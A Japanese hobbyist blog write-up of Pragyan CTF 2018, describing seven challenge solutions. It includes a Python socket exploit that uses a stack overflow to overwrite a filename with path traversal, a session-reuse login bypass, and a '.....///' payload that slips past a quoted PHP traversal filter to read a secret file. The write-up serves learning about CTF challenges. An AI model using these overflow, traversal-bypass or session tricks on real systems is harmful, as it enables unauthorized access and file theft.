HappyNote3966’s blog

備忘録、作業記録的なことを書きます。低レベル注意。ご指摘等ございましたらやんわりとお願いします(´;ω;`)

Pragyan CTF 2018 Writeup

Pragyan CTF 2018に参加しました。 個人チーム0p3r4t0rとして、950点を獲得し、1282チーム中129位となりました。

Fri, 02 March 2018, 07:30 UTC — Sat, 03 March 2018, 19:30 UTC 
On-line
A Pragyan CTF event.
Format: Jeopardy Jeopardy
Official URL: https://ctf.pragyan.org/
This event's weight is subject of public voting!
Rating weight: 6.68 
Event organizers Pragyan

解けた問題は以下のとおりです。

  • [binary 200] Old school hack

  • [forensics 100] Quick Response

  • [reverse 50] Assemble your way to the flag

  • [stego 150] Scientist’s research

  • [web 100] Unfinished business

  • [web 150] Authenticate your way to admin

  • [web 200] El33t Articles Hub

以下、writeupです。

[binary 200] Old school hack

配布されるバイナリは、以下の手順でレコードを読み出すというものだった。

  1. パスワード入力画面(スタックBOFあり)
  2. 読み込みたいレコードの番号を入力する
  3. レコードの内容が表示される

1.の段階でスタックBOF脆弱性が存在しているが、Canaryが配置されているためリターンアドレスの書き換えはできない。また、パスワードの比較にはstrncmpを使用しており、パスワードの戦闘10文字が正しく入力されていれば、後は何を入力していても認証が通る。

ちなみにそのパスワードはkaiokenx20だった。ドラゴンボール?(よく分かってない)

2.の段階で選べるレコードの中にはフラグを出力するらしいところがあるが、その直後にexit(0)してしまうために意味がない(ただし、フラグがflag.txtというファイルの中にあることは推測できる)。

3.の段階では、仮に2の段階でflag.txtを指定できたとしても、36文字のファイル名でなければexit(0)してしまう。

というわけで、exploitコードは以下の通り。

import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("128.199.224.175",13000))


print(s.recv(1024))
buf = "kaiokenx20"
buf += "A" * 6
buf += "./" * 14
buf += "flag.txt"
buf += "\n"

s.send(buf)
print(s.recv(1024))
s.send("0\n");
print(s.recv(10000000))
print(s.recv(1024))
print(s.recv(1024))
print(s.recv(1024))
s.close()

汚い上に安定しなかったが、一応これで出力された。 考え方としては、下のようにレコード名にあたるスタック上の領域をパスワード入力の際に上書きした。

[rbp-0x48] 0x0        <= レコード番号入力
[rbp-0x40] kaiokenx        <= パスワード入力
[rbp-0x38] 20AAAAAA
[rbp-0x30] ././././        <= レコード名
[rbp-0x28] ././././
[rbp-0x20] ././././
[rbp-0x18] ././flag
[rbp-0x10] .txt\0

フラグはpctf{bUff3r-0v3Rfl0wS`4r3.alw4ys-4_cl4SsiC}だった。

パストラバーサルを利用して文字列の長さ制限を回避することを思いつくのに時間がかかった。 (最初はflag.txtmd5sumにかけ、ファイル名として使うのかと思った。もっとひらめきを得たい)

[forensics 100] Quick Response

不完全なQRコードが画像で配布される。このQRコードが読み取れればフラグが得られるらしい。

f:id:HappyNote3966:20180304182950p:plain

QRコードの知識はあまりなかったので、以下のサイトを参考にして修正した。

www.keyence.co.jp

要約すると、以下の3つを修正することで読み取れる。

  • ファインダパターンの修正

  • アライメントパターンの修正

  • タイミングパターンの修正

修正後は以下のようになった。

f:id:HappyNote3966:20180304183246p:plain

修正したQRコードを読み取ると、以下のような文字列が流れてきた。

The flag is:
pctf{r3p4ir1nG~Qr_1s-my_h0bBy}

フラグはpctf{r3p4ir1nG~Qr_1s-my_h0bBy}だった。

ここでは元のQRコードを目視で読み取っていたので、時間がかかった。スクリプトか何かで自動化させるべきだったのかもしれない。 しかしQRコードの勉強になった。何気なく使っているものの仕組みを知るのは本当に面白い。

[reverse 50] Assemble your way to the flag

バイナリが渡される。そのバイナリを実行してみると、

Look for something else....

と表示されるだけだった。逆アセンブルして中身を確認してみると、文字列が表示される処理の前では1バイトずつxorしてスタック上にプッシュするという処理が行われていた。 つまり、文字列表示の直前でスタックの内容が見通せればいいので、以下のようにした。

  1. 出力関数(printf)にブレークポイントを仕掛ける
  2. gdb-pedaの機能のtelescopeを用いて、スタックの中身を一気に見た

フラグはpctf{l3geNds_c0d3_1n_4Ss3mb1y}となった。

[stego 150] Scientist’s research

大量に数値が書き込まれたxlsxファイルが与えられる。 その数値をざっと見ていると、0の値だけがやたらと多いことに気づいた。セルの大きさを調整し、条件付き書式で0の値を持ったセルのみ色を塗ってみた。 色を塗ったセルは文字を形作っており、読むとフラグになっていた。

f:id:HappyNote3966:20180304184106p:plain

フラグはpctf{ord3r_out_of=ch4os+this_world}だった。

MS Excelが必要かと思ったが、Libre Officeでも条件付き書式が使えるとは思わなかった。

[web 100] Unfinished business

まずはログインしろと言われる(ログイン時のアカウントはCTFのアカウントそのものを使う)。 ログインした先のページには特段フラグのようなものはなかった。 Burpを使ってよく見てみると、ログイン直後にはリダイレクトされていることがわかった。

f:id:HappyNote3966:20180304184510p:plain

そのページの中にはちゃんとフラグが書かれていた。

フラグはpctf{y0u=Sh0Uldn'1/h4v3*s33n,1his.:)}だった。

[web 150] Authenticate your way to admin

homepage.phplogin.phpのソースが配布された。 [web 100]と同様にCTFのアカウントを用いてログインした先のページでは、セッションの中にあるid_typeteam_nameidadminlogged_intrueになっていればフラグが出力されるようになっているが、一度のログイン試行でこの3つの条件を成立させることはできないようになっていた。 このページの特性として、セッション番号はログイン時に再生成されず、使い回しができるようになっていた。 そのため、以下のような手順を踏んで条件の成立を試みた。

  1. 自分たちのCTFアカウントを用いてログインする(ログインした後は、セッションにlogged_inの値がtrueになる)
[logged_in = ture]
[id_type = team_name]
[id = 0p3r4t0r]
  1. ログアウトせずにチーム名をadminとしてログインする(この時点では弾かれてしまうが、logged_inはtrueのまま)
[logged_in = ture]
[id_type = team_name]
[id = admin] <=ここを変更する
  1. homepage.phpに直接アクセスすると、フラグも一緒に出力される。

f:id:HappyNote3966:20180304184958p:plain

フラグは、pctf{4u1h3ntic4Ti0n.4nd~4u1horiz4ti0n_diff3r}だった。

[web 200] El33t Articles Hub

記事をいくつか見れるページのようで、このソースを見てみるとfavicon.phpというPHPスクリプトが存在することが分かる。

f:id:HappyNote3966:20180304190716p:plain

そのPHPスクリプトidというパラメータに数値を与えると、pngファイルが得られる事が分かった。 このidパラメータに大きな数字を指定し、通信の内容をWiresharkを用いてみてみると、png,icoファイルの他に.phpファイルを読み込めるという旨のエラーメッセージが返ってきていた。 そこで、idfaviconを指定し、favicon.phpソースコードを取得することに成功した。

f:id:HappyNote3966:20180304190744p:plain

更に、index.phpが存在すると推測し、index.phpソースコードを取得し、index.phpの内容からfetch.php,helpers.phpも取得した。 得られた4つのソースコードを見てみると、以下のようなことが分かった。

  • secret/flag_7258689d608c0e2e6a90c33c44409f9d.txtというファイルがフラグである

  • index.phpで指定されるfileのパラメータはサニタイズされる

    • php:secret/flag_7258689d608c0e2e6a90c33c44409f9dの文字列を発見すると「イタズラしやがって!(意訳)」と怒られる

    • ./../は取り除かれる

具体的には、以下のコードになっていた。

    ...
    $evil_chars = array("php:", "secret/flag_7258689d608c0e2e6a90c33c44409f9d");
    foreach ($evil_chars as $value) {
        if( strpos($filename, $value) !== false) {
            echo "You naughty cheat !!<br>";
            die();
        }
    }

    // Sanitize input file name
    $bad_chars = array("./", "../");
    foreach ($bad_chars as $value) {
        $filename = str_replace($value, "", $filename);
    }
    ...

これらを回避するため、以下のようなパラメータを指定した。

file=.....///secret/./flag_7258689d608c0e2e6a90c33c44409f9d

f:id:HappyNote3966:20180304191024p:plain

アクセスするとフラグが出力された。

フラグはpctf{1h3-v41id41i0n_SuCk3d~r34l-baD}だった。

感想

前のCTFよりは進歩できたのかなと思う。 ただ、[crypto]の問題が一問も解けなかったのが悔しかった。次回はcryptoも解けるようになりたい。 そしてやっぱりひらめくのに時間がかかることが多かった。もうちょっと早くひらめきが生まれるようになりたい。

あとreverseの問題があまりなかった。もう少し欲しかった。